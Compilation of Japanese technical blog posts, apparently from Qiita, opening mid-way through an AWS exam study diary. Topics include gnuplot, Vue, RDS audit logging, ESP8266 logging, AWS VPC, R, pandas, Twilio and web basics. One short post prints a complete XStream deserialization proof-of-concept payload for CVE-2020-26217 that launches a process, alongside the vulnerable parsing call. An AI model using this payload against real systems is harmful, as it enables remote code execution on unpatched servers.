問題の数をこなしてくると、だんだん後ろから忘れてくるので、新規の問題をこなすのに並行して、
最初から問題を解くことを心掛けました。

例）新しい範囲としてNo.10~20まで解いて、その日に前にやったNo.1~5までを解く


*＊この勉強を進めて1か月後*


*▼2000円の模擬試験に挑戦*
・確か650点くらい

目標として、本腰入れて勉強してから1か月半くらいで取ろうとしていたので、
当時かなり焦りました。
間違えた問題をどの分野か項目分けして、弱点を洗い出し、1週間弱点補修の時期にあてました。
弱点補修のやり方も、WEB問題集の解説を読み、
選択肢中で、なぜこれが不正解なのかという観点で勉強を進めました。

ちなみに模擬試験は自分のPCで受けれるので、場所はどこでもOKです。


*▼WEB問題集の学習状況*
・No.125くらいある項目の中で、大体どこをランダムで解いても7割8割くらい正解できる

それは問題を覚えてきたから、と分かりきっているのですが、
高い正答率を見てモチベーションを保っていました。


*▼2回の試験日変更*
・同期のUdemyの問題が難しすぎて焦った

Udemyの問題は比較的難易度が高いとされていますが、あまりにもこたえられなく不安になり、
二回の試験日変更を行いました。

※AWSの試験は試験日の変更が"2回"しかできません。
私はそれを知らず、そのうちの1回を、
次の日に試験日をずらすというもったいない使い方をしていました。


*＊試験当日*


*▼試験時間までに行っていたこと*
・問題を解くのをやめ、参考書を本のように読む

この、参考書を本のように読むという行為は、個人的にはかなり効果もあり、
モチベーションが上がりました。
読書として読み進めることで、備えてきた知識の再確認をすることができ、
安心感が高まり、落ち着いて試験に臨めました。

試験は申し込んだ会場での試験になります。
私が行った会場は人数が少なく、おじ様と二人で受けました。


*▼試験結果*
・804点で無事合格

試験会場は絶対に静かにしなければならないのですが、
絶対に一発で受かりたかったので、さすがに震えました。
最高に嬉しかった記憶があります。

WEB問題集の効果ですが、私はこの問題集のみを使用して学習を続けていたため、
効果はかなりあったと思います。
クイズ形式で、回答に簡単な解説が出るタイプがお好きな方はおススメです。
簡単な解説なので、わからない部分はAWS各サービスのブラックベルトなどを見て補いました。

*▼まとめ*
正直あまりお勧めできる勉強方法ではありませんが、
意外と自分に合うと思う方はいらっしゃるのではないか、
と思います。
(学生時代一夜漬けばかりしていた人とか)


意識していて正解だったことは、
選択肢の中から不正解のものに対して、
*なぜこれは適切ではないのか*
というところです。


不正解の選択肢を、なぜ不正解なのか自分で導けることによって、
一か八かの選択をしてしまう問題が大いに減りました。
同時にAWS試験を攻略するコツでもあると思いました。


文中で私は、絶対に一発で受かりたかったと記しているのですが、
なぜかというと、
AWSの試験料はものすごく高いと思っていたからです。(SAAは¥15000)

私は試験料の明細を携帯の壁紙にしていました。効果は個人的にはありました☆
是非お試しください。




また、別の資格を取得した際などで、記事を書こうと思います。
最後まで閲覧いただき、ありがとうございました。



*▼参考URL*
・WEB問題集　(SAA対策以外の問題もあります)
https://aws.koiwaclub.com/exam/

・AWS模擬試験　(希望のレベルをクリックすると模擬試験の欄があります)
https://aws.amazon.com/jp/certification/certification-prep/

・ブラックベルト　
(AWSの方がサービスの概要や注意点を、わかりやすくスライドでまとめている資料です)
https://aws.amazon.com/jp/aws-jp-introduction/aws-jp-webinar-service-cut/
gnuplotでtxtファイルから図を作成する 4講(その1)

macOS Big Sur(11.0.1) 2020-11-16

テキストファイルは以下のリンクのa_voronoi1.txtです．
https://drive.google.com/drive/folders/1UHYNa4viiTBpVcYJBPablOWM5Dyhvqyg?usp=sharing
作る目標の図は以下です．
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/351794/c0f3dc68-7e38-6ac5-0c33-4f535b183669.png" width=75%>

書類にa_voronoi1.txtを保存したなら，ターミナルを開いて

```
cd Documents
```
と打ちます．(Change Directory)
現在位置は

```
ls
```
で確かめます．(LiSt)

a_voronoi1.txtがある場所で

```
gnuplot
```
と打ちます．
gnuplotをダウンロードしている前提です．

```
plot "a_voronoi1.txt"
```

すると，以下の図が立ち上がります．
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/351794/907a9561-28a6-af56-24b6-3022e4aa2aff.png" width=70%>

次に，画像を保存します．gnuplot上で以下を各行打ちます．

```
set terminal postscript eps 
set output "a_voronoi1.eps"
plot "a_voronoi1.txt"
set output
```

何をしたのかの補足です．
画像データを保存するためにPostScript形式を利用します．gnuplotでは，postscriptというターミナルで利用できます．
PostScript形式のファイル拡張子は通常epsです．
参考: http://dsl4.eee.u-ryukyu.ac.jp/DOCS/gnuplot/node63.html

以下，画像にラベルを貼ったり，表示の仕方を変えます．
毎回同じことを記述するのは大変なのでスクリプトを作ります．

```
vi a_voronoi1.plt
```
でplotスクリプトを作成し，中身を以下のようにします．

```shell:a_voronoi1.plt
set xlabel 'The value of k'
set ylabel 'The tessella size'

set terminal postscript eps
set output "a_voronoi1.eps"
plot "a_voronoi1.txt"
set output
```

gnuplotを開き，

```
load "a_voronoi1.plt"
```
で作ったスクリプトが実行されます．

a_voronoi1.epsを開くと，x軸，y軸のラベルがついています．
以後，このスクリプトを編集すればいいです．

ここで，a_voronoi1.txtからでは，1つのデータしか表示されないことがわかります．
目標の図には3つのデータが表示されているので，3つの図を重ねることにします．

上のリンクのsquare.txtを使います．

```shell:square.plt
set xrange [0.8 : 9.2]
set yrange [0 : 2.8]
set xlabel 'The value of k'
set ylabel 'The tessella size'

set terminal postscript eps color enhanced "Courier" 25
set output "square.eps"
plot "square.txt" with linespoints pointtype 4 pointsize 2 title 'Square'
set output
```
フォントをCourier，フォントサイズを25ポイントにしています．
参考: https://ss.scphys.kyoto-u.ac.jp/person/yonezawa/contents/program/gnuplot/paper1.html

with linespointsでデータ点を点で表示し, あいだを線で結びます．
pointtypeで点の種類を変え(4で下図のような種類)，pointsizeで点の大きさを変えます．
参考: http://dsl4.eee.u-ryukyu.ac.jp/DOCS/gnuplot/node156.html

square.epsが作られ，以下の図になっています．
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/351794/dc2d5ce8-0bd2-dabd-d2b7-ab27d1de08cb.png" width=75%>

さて，同様にtriangle.txt, hexagon.txtを持ってきて，square.pltを以下のように変更します．

```shell:square.plt
set xrange [0.8 : 9.2]
set yrange [0 : 2.8]
set xlabel 'The value of k'
set ylabel 'The tessella size'

set terminal postscript eps color enhanced "Courier" 25
set colorsequence classic
set output "square.eps"
plot "square.txt" with linespoints pointtype 4 pointsize 2 title 'Square',\
"triangle.txt" with linespoints pointtype 8 pointsize 2 title 'Triangle',\
"hexagon.txt" with linespoints pointtype 6 pointsize 2 title 'Hexagon'
set output
```
バックスラッシュを入れることで，改行して入力できます．
set colorsequence classicで線の色を赤，緑，青にしています．
参考: https://ss.scphys.kyoto-u.ac.jp/person/yonezawa/contents/program/gnuplot/version5.html

square.epsが目標の図のようになります．
【vue】.syncの使い方。v-modelやセッターを使わずに親子でデータを受けわたす方法。

vueのsync修飾子を使うと、親子でのデータ受け渡しが簡単にできる。

##syncの使い方

親と子でそれぞれポイントがある。

親はinputタグなどデータを連動させたいタグに以下を設置する。

`:属性名.sync="変数名"`



子は①データの受け取り、②データの表示、③変更後のデータの送信の３つの記述を行う。

```js:①データの受け取り
export default {
  props:{
    親の属性名: {type:型}
  }
}
```

propsで親で指定した属性名を変数として宣言する。
以下でその変数を使用する。

```js:②データの表示
:value="変数名"
```

inputタグに受け取ったデータを表示する場合は、value属性にv-bindで親から受け取った変数を指定する。

```js:③変更後のデータの送信
@input="$emit('update:属性名', $event.target.value)"
```

inputタグで変更があった場合に、親の.syncがついたタグに情報を送る。

この`update:属性名`で指定した値と、親の属性名が一致していること。


<br>
##フルコード事例

<br>
####▼フルコード

```vue:親
<template>
  <div>
    <!-- 子テンプレートを呼び出し、プロパティmessageで変数msgを共有 -->
    <SyncChiled :message.sync="msg" />

    <!-- 親で定義しているデータが変更されるかの確認用 -->
    ・変数msgを表示:　{{msg}}
  </div>
</template>

<script>
import SyncChiled from "./SyncChiled" 

export default {
  components:{
    SyncChiled  //子テンプレをタグとして使えるようにする
  },
  data(){
    return{
      msg: "初期メッセージ"
    }
  }
}
</script>
```

```vue:子（SyncChiled.vue）
<template>
  <!-- 渡すテンプレート -->
  <div>
    <!-- 親に戻すデータを指定 -->
    <input type="text" :value="message" @input="$emit('update:message', $event.target.value)">
  </div>
</template>

<script>
export default {
  //親から受け取ったデータ
  props:{
    message: {type:String}
  }
}
</script>
```


**▼画面表示例**

|![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/563526/e78aff09-81f5-bffa-34aa-229544aeda2a.png)|
|:--|

↓ 入力に合わせて変数も変更されている

|![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/563526/493aedfd-200d-01a5-daef-24f4ab76c434.png)|
|:--|
Amazon RDS for PostgreSQLの監査ログをCloudWatch Logsに出力する

# はじめに
Amazon RDS for PostgreSQLの監査ログをCloudWatch Logsに出力します。
RDSのクラスターパラメータグループに設定を変更後、DBにログインしてSQLコマンドを実行します。

**クラスターパラメータグループの変更項目**

|**項目**|**値**|**詳細**|
|---|---|---|
|pgaudit.log|'all, -misc'|「all」から「vacuum等のメンテナンスの処理」のみを除外する設定|
|pgaudit.log_catalog|0|catalogテーブルへのアクセスをログと残すかどうか指定できます。これを有効としておくと、psqlやPgAdminでのアクセスが発生した都度に、ノイズなログがかなり出力されることになるので、無効(0)としておく。|
|pgaudit.log_level|log|出力されるログレベルを指定|
|pgaudit.log_parameter|1|SQL内で変数を利用された場合、その変数に代入された値までロギングしてくれる設定|
|pgaudit.log_relation|1|操作した対象のオブジェクト名を分かりやすく出力させてくれる設定|
|pgaudit.log_statement_once|1|Session Audit LoggingとObject Auditingを併用時、同じSQLログを複数回出力させない設定です。複数回出てくるのは煩わしいので、有効(1)としておく。|
|pgaudit.role|rds_pgaudit|AWSの場合、この値は rds_pgaudit 限定となる|
|shared_preload_libraries|pg_stat_statements,<br>pg_hint_plan,<br>pgaudit|pgAuditのライブラリを、共有メモリにロードするための設定|

**SQL**

```sql:SQL
CREATE ROLE rds_pgaudit;
SHOW shared_preload_libraries;
CREATE EXTENSION pgaudit;
SHOW pgaudit.role;
```

# 手順
**1. RDSのパラメータグループを作成するCloudFormationのテンプレートの一部**

```yaml:テンプレート.yml
    Type: AWS::RDS::DBParameterGroup
    Properties:
      Parameters:
        timezone: Asia/Tokyo
        pgaudit.role: rds_pgaudit
        shared_preload_libraries: pgaudit
        pgaudit.log_level: log
        pgaudit.log: 'all, -misc'
```
このパラメータグループをRDSにアタッチします。

**２. SQLのシェルスクリプト**

```sh:スクリプト
SSH_HOST=[踏み台サーバーのIPアドレス]
BASTION_SSHKEY=[踏み台サーバーの秘密鍵のパス]
BASTION_SSHUSER=[踏み台サーバーのユーザー]
DB_HOST=[DBのエンドポイント]
DB_NAME=[DB名]
DB_USER=[DBのユーザー名]
DB_PASSWORD=[DBのパスワード]

DBRESULT=`ssh -T -l ${BASTION_SSHUSER} -i ${BASTION_SSHKEY} ${SSH_HOST} <<EOC
export PGPASSWORD=${DB_PASSWORD}
psql -U ${DB_USER} -d ${DB_NAME} -h ${DB_HOST} << EOF
SHOW shared_preload_libraries;
SHOW pgaudit.role;
CREATE EXTENSION pgaudit;
EOF
exit $?
EOC
`
echo ${DBRESULT}
```

# 参考
[PostgreSQL を実行している Amazon RDS DB インスタンスを pgaudit 拡張機能を使用して監査するにはどうすればよいですか?](https://aws.amazon.com/jp/premiumsupport/knowledge-center/rds-postgresql-pgaudit/)
温湿度・気圧のロガーを作る #4

**[1話 センサー1つ+Ambient編](https://qiita.com/after-a-rain/items/20d337702f93cd589044)** / **[2話 センサー2つ+Ambient編](https://qiita.com/after-a-rain/items/80fe94cb3b2870ea9f0c)** / **[3話 センサー4つ編](https://qiita.com/after-a-rain/items/f64626f3f72e62b783c0)**
**[4話 SDカード記録編](https://qiita.com/after-a-rain/items/d736854791fa27aea543)** / **[5話 システム時刻・NTP編](https://qiita.com/after-a-rain/items/ec9e772df0c6ea029e84)**

あらすじ: 4個BME280をつけて、データ取得しシリアルモニタに表示できました。

# 4話

今度は、SDカードロガーの挙動を勉強していきます。
ここからの目標は

+ BMEでデータ取得してSDカードに保存する
+ そのときに時刻を入れたい
  + Case1. ネット環境がある→NTPからJSTを取得していく。
  + Case2. ネット環境がない→RTPモジュールでスタンドアローンでもできるように。

## 用意したもの

- Arduino的なもの ESP-WROOM-02開発ボード (SwitchScience)  **×1**  
  https://www.switch-science.com/catalog/2500/
- 温湿度・気圧センサー BME280 (SwitchScience)  **×1**  
  https://www.switch-science.com/catalog/2236/
- SparkFun マイクロSDカードスロット・ピッチ変換基板 (SwitchScience) **×1**  
  https://www.switch-science.com/catalog/36/



## やったこと

例によってググります。先人に感謝です。これから主にこちらのHPを参考にしていきました。
記事が若干古く(2016年)、少しずつ手を加えました。

​	ESP-WROOM-02を使ったWi-Fi機能付き温度ロガーを作る（1） – スイッチサイエンス マガジン
​	https://mag.switch-science.com/2016/05/13/esp-wroom-02-wifi-logger-1/

このHPではBME280をI2Cで繋げていますが、ここまでSPI接続でやってきたのでそこが違います。
まず、SDのモジュールをSPI接続でつなぎます。
SPI接続はこの時すごく便利で、CS以外はすべて並列でつなげておけばいいだけで楽チンです。
また、この辺でBME280の3Vは片方でいいと、何かで知ります。**(調べなきゃ)**

接続は次のとおりです。

| SPI接続 | ESPr Developer | BME280       | SDモジュール |
| :------ | :------------- | ------------ | ------------ |
| MISO    | IO12           | SDO          | DO           |
| CLK     | IO14           | SCK          | SCK          |
| MOSI    | IO13           | SDI          | DI           |
| **CS**  | **IO15**       |              | CS           |
| **CS**  | **IO16**       | CSB          |              |
| GND     | GND            | GND          | GND          |
| +3.3V   | 3v3            | Vcore or Vio | VCC          |

Arduino IDEのファイル→スケッチ例→あらゆるボード用のスケッチの例→SD→Datalogger を選択し、
HP通り26行目の `chipSelect = 4;`となっているところを`chipSelect = 15;`に変更、書き込み。
するとものすごい勢いでシリアルモニタを数値が駆け抜けていきました。(最初すごく焦りました)
通信は成功しており、その数値群がdatalog.txtとしてSDカードに残されていました。

なお、通信の確認だけであれば、
Arduino IDEのファイル→スケッチ例→あらゆるボード用のスケッチの例→SD→CardInfo で書き込むと、シリアルモニタにInfoが表示されるのでそれで十分です。

次に、同じHPの(2)へ行き、SDカード上の内容をESP-WROOM-02がWebサーバとなり、ローカルIPを入れるとブラウザからファイルインデックスがみれるプログラムをやろうとしました。
が、なんだかうまく行かず断念しました。

今回の目的とは少し離れるので(Ambientで飛ばしますし...)、これをカットしますが、今後のために勉強はしておきたいところです。

次回、5話では、NTPサーバーからの時刻取得をおこないます。

**[5話に続きます](https://qiita.com/after-a-rain/items/ec9e772df0c6ea029e84)**



## 参考文献

勝手にソースコードを拝借しています。すみません。ありがとうございます。
何かあればお申し付けください。

+ ESP8266 with two BME280 Sensors over SPI – Robot Zero OneRobot Zero One  
  https://robotzero.one/esp8266-two-bme280-sensors-spi/
+ 温度、湿度、気圧を測定し、記録する - AmbientでIoTをはじめよう  
  https://pages.switch-science.com/letsiot/temphumidpress/
+ ESP-WROOM-02を使ったWi-Fi機能付き温度ロガーを作る（1） – スイッチサイエンス マガジン  
  https://mag.switch-science.com/2016/05/13/esp-wroom-02-wifi-logger-1/
AWSを勉強する - VPC

#Virtual Private Cloud(VPC)

AWSクラウド内に論理的に分離されたセクションを作り、ユーザーが定義した仮想ネットワークを構築するサービス

- 任意のIPアドレス範囲の選択して仮想ネットワークを構築
- サブネットの作成、ルートテーブルやネットワークゲートウェイの設定など仮想ネットワーキング環境を完全に制御可能
- 必要に応じてクラウド内外のネットワーク同士を接続することも可能
- 複数の接続オプションが利用可能
    - インターネット経由
    - VPN／専用線

単一のVPCを構築すると単一のAZの範囲に設定される。
同一リージョン内では、VPCは複数のAZにリソースを含めることができる。
VPCとサブネットの組み合わせでネットワーク空間を構築する。VPCはサブネットとのセットが必須。

1. CIDR方式でアドレスレンジを選択
2. AZのサブネットを選択
3. インターネット経路を選択
4. VPCへのトラフィック許可の設定

#CIDR

VPC内ではサブネット数は200までが最大とされている

既に利用されていて設定できないアドレス

| ホストアドレス |            用途             |
| :------------: | :-------------------------: |
|       .0       |    ネットワークアドレス     |
|       .1       |         VPCルーター         |
|       .2       | Amazonが提供するDNSサービス |
|       .3       | AWSで予約されているアドレス |
|      .255      |  ブロードキャストアドレス   |

#サブネット

CIDR範囲で分割したネットワークセグメント
インターネットアクセス範囲を定義するために利用数


## パブリックサブネット

トラフィックがインターネットゲートウェイにルーティングされるサブネット
インターネットと接続が必要なリソースを揃える
パブリックサブネットからインターネットに接続するにはインターネットゲートウェイが必要

## プライベートサブネット

インターネットゲートウェイへのルートがないサブネット
インターネットから隔離することでセキュリティを高める
プライベートサブネットからインターネットに接続するにはNATゲートウェイがパブリックサブネットに必要（NATゲートウェイに接続してからインターネットに接続する）


#VPC外部接続
VPCの外側にあるリソースとの通信にはパブリックのAWSネットワークかエンドポイントを利用する。
例）S3を使う時、エンドポイントを利用してVPC外にあるS3とつなげる

#インターネット経路を設定
ルートテーブルとCIDRアドレスでルーティングを設定する

- ルートテーブルでパケットの行き先を設定
- VPC作成時にデフォルトで1つルートテーブルを作成
- VPC内はCIDRアドレスでルーティング

#VPCトラフィック設定


##セキュリティグループ
**インスタンス単位**の通信制御に利用する。
インバウンド（内向き、外部からVPCへ）とアウトバウンド（外向き、内部から外部へ）の両方の制御が可能。

制御項目

- プロトコル
- ポート範囲
- 送受信先のCIDRかセキュリティグループ

セキュリティグループは、デフォルトでアクセスを拒否されていて、設定された項目のみにアクセスを許可する。
応答トラフィックはルールに関係なく通信が許可される。

##ネットワークACL
**サブネットごと**の通信制御に利用する。
インバウンド（内向き、外部からVPCへ）とアウトバウンド（外向き、内部から外部へ）の両方の制御が可能。

ネットワークACLは、デフォルトでアクセスが許可されている。
応答トラフィックであろうと明示的に許可設定しないと通信遮断される。


#用語まとめ

##ゲートウェイ
VPCの内部と外部との通信をやり取りする出入り口。

### インターネットゲートウェイ
VPCとインターネットとを接続するためにゲートウェイ。
各VPCに1つだけアタッチすることができる。

###仮想プライベートゲートウェイ
VPCがVPNやDirect Connectと接続するためのゲートウェイ。
各VPCに1つだけアタッチすることができる。

##VPCエンドポイント
S3やDynamoDBと接続する際に利用するゲートウェイエンドポイントと
それ以外の大多数のサービスで利用するインターフェイスエンドポイントがある。

###ゲートウェイエンドポイント
ルーティングを利用したサービス。
S3、DynamoDBへの通信は、エンドポイントを通じて行われる。

##ピアリング接続
２つのVPC間でプライベートな接続をするための機能。
AWSアカウントをまたがっての接続も可能。

VPCピアリングでの通信相手は、VPC内のEC2インスタンス。

##VPCフローログ
VPC内の通信の解析に利用。
ENI(Elastic Network Interface)単位で記録される。
送信元・送信先アドレス、ポート、プロトコル番号、データ量、許可／拒否が記録される。


#参考
- [AWS認定資格試験テキスト AWS認定 ソリューションアーキテクト-アソシエイト (日本語) 単行本](https://www.amazon.co.jp/AWS%E8%AA%8D%E5%AE%9A%E8%B3%87%E6%A0%BC%E8%A9%A6%E9%A8%93%E3%83%86%E3%82%AD%E3%82%B9%E3%83%88-AWS%E8%AA%8D%E5%AE%9A-%E3%82%BD%E3%83%AA%E3%83%A5%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E3%82%A2%E3%83%BC%E3%82%AD%E3%83%86%E3%82%AF%E3%83%88-%E3%82%A2%E3%82%BD%E3%82%B7%E3%82%A8%E3%82%A4%E3%83%88-NRI%E3%83%8D%E3%83%83%E3%83%88%E3%82%B3%E3%83%A0%E6%A0%AA%E5%BC%8F%E4%BC%9A%E7%A4%BE/dp/479739739X)
- Udemy
目標偏差点に必要な素点を逆算する

# 1. 要旨

先日私が実際に受験した某模擬試験の結果を基に、目標となる偏差点（偏差値）に必要な素点を調べようという試みです。
とくに標準偏差の逆算については意外とネット上に記事がなかったので書いておきます。
なお、得点の分布は正規分布を前提とします。

# 2. 方法

1. 模試の結果（自分の素点、偏差点、全体の平均点）から標準偏差を逆算する。
2. 逆算した標準偏差を基に、目標となる偏差点に必要な素点を導出する。

なお、個人のデータから標準偏差を導出する式は超簡単ですが、おさらいとして。
偏差点の式は、

```math
偏差点 = \frac{素点 - 平均点}{標準偏差} × 10 + 50
```

なので変形すれば、

```math
標準偏差 = \frac{素点 - 平均点}{偏差点 - 50} × 10
```

で求まります。[^1]
[^1]: 満点が100点の場合です。満点が100点以外のときは、「$ ×10 $」のところが「$ ×\frac{満点}{10} $」となります。

# 3. サンプルデータ

成績表は以下の通りで、目標偏差点を60とします。

|素点|偏差点|平均点|
|---|---|---|
|40|58.89|32.66|

# 4. コード

```R
hensaten <- function(hensaten.objective = 60, soten.result= 40, hensaten.result = 58.89, mean = 32.66) {
  # 標準偏差の推定
  residual.score <- soten.result - mean
  z <- (hensaten.result -50)/10
  sd.test <- residual.score/z

  # 目標偏差点を達成する累積確率の計算
  p <- pnorm(hensaten.objective, mean = 50, sd = 10)

  # 累積確率から必要素点を逆算
  q <- qnorm(p, mean = mean, sd = sd.test)

  print(paste0("偏差点", hensaten.objective, "を取るには、上位", round((1-p)*100, digits = 1), "%にいる必要があります。"))
  print(paste0("今回の試験は平均点", mean, "、標準偏差", round(sd.test, digits = 1), "の試験です。よって、目標偏差点を取るには、素点ベースで", round(q, digits = 1), "点取る必要があります。"))
}
```

## 4.1. 引数

|名称|内容|初期値|
|---|---|---|
|hensaten.objective|目標偏差値|60|
|soten.result|実際の素点|40|
|hensaten.result|実際の偏差点|58.89|
|mean|実際の平均点|32.66|

# 5. 動作

## 5.1. 動作確認
まず`目標偏差値 = 実際偏差値 = 58.89` の場合、`目標素点 = 実際素点 = 40` になることを確かめます。

```R
> hensaten(hensaten.objective = 58.89)
[1] "偏差点58.89を取るには、上位18.7%にいる必要があります。"
[1] "今回の試験は平均点32.66、標準偏差8.3の試験です。よって、目標偏差点を取るには、素点ベースで40点取る必要があります。"
```

上手く動作していることが確認できました。
続いて、`目標偏差点 = 50` とし、`目標素点 = 平均点 = 32.66` となることを確かめます。

```R
> hensaten(hensaten.objective = 50)
[1] "偏差点50を取るには、上位50%にいる必要があります。"
[1] "今回の試験は平均点32.66、標準偏差8.3の試験です。よって、目標偏差点を取るには、素点ベースで32.7点取る必要があります。"
```

小数第二位を四捨五入しているので少しずれますが、正しい結果となりました。
これで動作確認は完了です。

## 5.2. 目標達成のための素点計算

それでは本題の『目標偏差点60を達成するための素点』を計算しましょう。

```R
> hensaten()
[1] "偏差点60を取るには、上位15.9%にいる必要があります。"
[1] "今回の試験は平均点32.66、標準偏差8.3の試験です。よって、目標偏差点を取るには、素点ベースで40.9点取る必要があります。"
```

ということで、約41点必要ということが分かります。どうやらあと一問取れば偏差点60を達成できそうです。

# 6. おわりに

全体の平均点と自分の成績データさえあれば、目標偏差点に必要な素点を計算することができることを確認できました。
統計の超基礎的な内容ですが、各種試験勉強等で偏差値が使われることも多いので、自分の目標管理のために把握していると便利です。


おしまい。
pandasでシュッと祝日データをデータフレームにする

# TL;DR
```python
from io import StringIO
import urllib.request

import pandas as pd

req = urllib.request.Request('https://holidays-jp.github.io/api/v1/date.csv')
with urllib.request.urlopen(req) as res:
    df_holiday = pd.read_csv(StringIO(res.read().decode()), header=None)
```

# コード解説
## 祝日データを取得できる場所へgetリクエストを投げる
```python
req = urllib.request.Request('https://holidays-jp.github.io/api/v1/date.csv')
```

シンプル いず ベスト

## 取得リクエストからデータを抽出する
```python
with urllib.request.urlopen(req) as res:
    df_holiday = pd.read_csv(StringIO(res.read().decode()), header=None)
```

リクエストデータはバイナリデータなのでdecode関数でstringへ変換し、その入力をStringIOを使ってread_csv関数に流しています。

# まとめ

シンプルに作るならこの方法。より詳細に祝日データが欲しい場合は `jpholiday` ライブラリを使うと幸せになれるかも。

## 参考記事
- [Python の HTTP クライアントは urllib.request で十分](https://qiita.com/hoto17296/items/8fcf55cc6cd823a18217)
- [Holidays JP API](https://holidays-jp.github.io/)
CVE-2020-26217 XStream XML反序列化远程代码执行

https://x-stream.github.io/CVE-2020-26217.html

```xml
<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
        <dataHandler>
          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
            <contentType>text/plain</contentType>
            <is class='java.io.SequenceInputStream'>
              <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
                <iterator class='javax.imageio.spi.FilterIterator'>
                  <iter class='java.util.ArrayList$Itr'>
                    <cursor>0</cursor>
                    <lastRet>-1</lastRet>
                    <expectedModCount>1</expectedModCount>
                    <outer-class>
                      <java.lang.ProcessBuilder>
                        <command>
                          <string>calc</string>
                        </command>
                      </java.lang.ProcessBuilder>
                    </outer-class>
                  </iter>
                  <filter class='javax.imageio.ImageIO$ContainsFilter'>
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>start</name>
                  </filter>
                  <next/>
                </iterator>
                <type>KEYS</type>
              </e>
              <in class='java.io.ByteArrayInputStream'>
                <buf></buf>
                <pos>0</pos>
                <mark>0</mark>
                <count>0</count>
              </in>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <string>test</string>
  </entry>
</map>
```

```java
XStream xstream = new XStream();
xstream.fromXML(xml);
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/6d51e0ea-3068-1778-07e0-050c14cd9b5c.png)
"100TB"のファイルサーバにあるファイルを断捨離するために(2) ～ZiDOMA data編～

#はじめに
ファイルサーバにある大量のファイルを分析して、断捨離するために
どのようなことに取り組んでいったらよいのか？と
前回(1回目の投稿)でまとめてみましたが、

__参考:__
"100TB"のファイルサーバにあるファイルを断捨離するために(1)
https://qiita.com/karin_to/items/8a375f41de0e4f754cfb

今回は、実際に前回ご紹介した「ZiDOMA data」を使って分析してみて
どのようなデータが取れたのか、
そして、そのデータを次にどう活用していけばよいと考えたのか
記載していきたいと思います。

#ZiDOMA dataによる分析
実際にZiDOMA dataでディレクトリを指定して分析した結果が以下の画面です。

![ZiDOMA.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/770141/bebdb212-ffe1-d6ce-8fe5-d48345c3f1c6.png)
(※フォルダ名や所有者情報にはモザイクを入れています。)

分析結果の画面には以下のようなデータが出力されました。

* 各ディレクトリの使用率やサイズ
* 作成日時、更新日時、最終アクセス日時
* 拡張子
* 所有者

(参考までに、100TB弱のデータ分析には4～5日で完了することができています)

指定したディレクトリをクリックしていくと下階層も同じように分析されていました。
パッと見て各ディレクトリの使用率や円グラフにある傾向が非常にわかりやすかったのですが、

ただ、ここで躓いてしまったのは、
最終目的の不要なファイルを断捨離するために

  __ファイルサーバーの使用状況(分析結果を)ユーザーに展開する__

にはどうすれば良いのか？でした。

ユーザーごとにアクセスできるフォルダが異なるので、
ZiDOMA dataの画面をそのままユーザーに見せることもできません。

そこで注目したのが画面右側にある__CSVデータ出力機能__でした。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/770141/80087740-6fba-a15f-a97c-924905942fd0.png)

分析結果をCSVデータとして出力できれば、
ユーザーに有益な情報に加工して展開できるのではないか？という考えでした。

では、次に

* どのような形にすればユーザーに分析結果を見てもらうことができるのか？
* どんな情報があると断捨離に繋げられるのか？

を課題にして進めようとなりました。

次回は、上記2点についてどのように検討したのか、
実際にどのようなデータ出そうとしたのかといった点についてまとめたいと思います。

#関連記事:
"100TB"のファイルサーバにあるファイルを断捨離するために(1)
https://qiita.com/karin_to/items/8a375f41de0e4f754cfb
twilio 環境構築

# node.js のインストールを確認
node -v

# twilio-cliをインストール
npm install twilio-cli -g

# アカウント情報を設定（Windows）
twilio profiles:add
紐付けたいアカウントのAccountSid
上記AccountSidに対するAuthToken
プロファイルを識別するための名前

# アカウント情報を設定（Linux）
.bashrc に追加

```bash:.bashrc
export TWILIO_ACCOUNT_SID='紐付けたいアカウントのAccountSid'
export TWILIO_AUTH_TOKEN='上記AccountSidに対するAuthToken'
```

# アカウント設定の確認 取得している電話番号を表示
twilio profiles:list
twilio profiles:use development
twilio phone-numbers:list
 ↑ Windowsだとうまくいかない。。。

# Serverless Pluginのインストール
twilio plugins:install @twilio-labs/plugin-serverless

# お好みで！
npm install axios --save
npm install request-promise --save

# 開始
twilio serverless:start --ngrok=""

# ブラウザで確認
http://127.0.0.1:3000/index.html

# デプロイ
twilio serverless:deploy

# 削除
twilio api:serverless:v1:services:list
twilio api:serverless:v1:services:remove --sid [削除したいサービスのSID]
HTML.CSS.JavaScript.Ruby.Rails概要

#HTML
　HTML(Hyper Text Markup Language)とはWEBページを作成する際に使用されるマークアップ言語である。
　WEBページのほとんどにHTMLが使用されている。
　HTMLは**タグ**を使いコンピューターに命令を出す事により見出しを付けたり段落を付けたりと、WEBページのレイアウト、構成を形作ることができる。
#CSS
 CSS(Cascading Style Sheets)は先ほどのHTMLと組み合わせて使用する言語である。
 CSSは文字の色やサイズ、レイアウトを変えたり、WEBページを装飾する言語である。
 HTMLでもWEBページの装飾をすることは出来るが、CSSの役割なので分けて使う必要がある。
#JavaScript
 WEBサイトに動きをつけるためのプログラミング言語である。
 具体的には文章や画像を拡大表示したり、より動的なWEBサイトを作ることができる。
 サーバーを介さずにブラウザ上で動かすことができる。またこのようなプログラムをクライアントサイド・スクリプトという
#Ruby
Rubyとは日本人であるまつもとゆきひろ氏によって作成されたオブジェクト指向スクリプト言語である。
WEBサイトやECサイトなどの製作、SNS開発など様々なことができる。有名なサイトでは**ぐるなび**や**食べログ**など
Rubyは他の言語に比べシンプルなコードのため開発スピードが早く読みやすい
#Rails
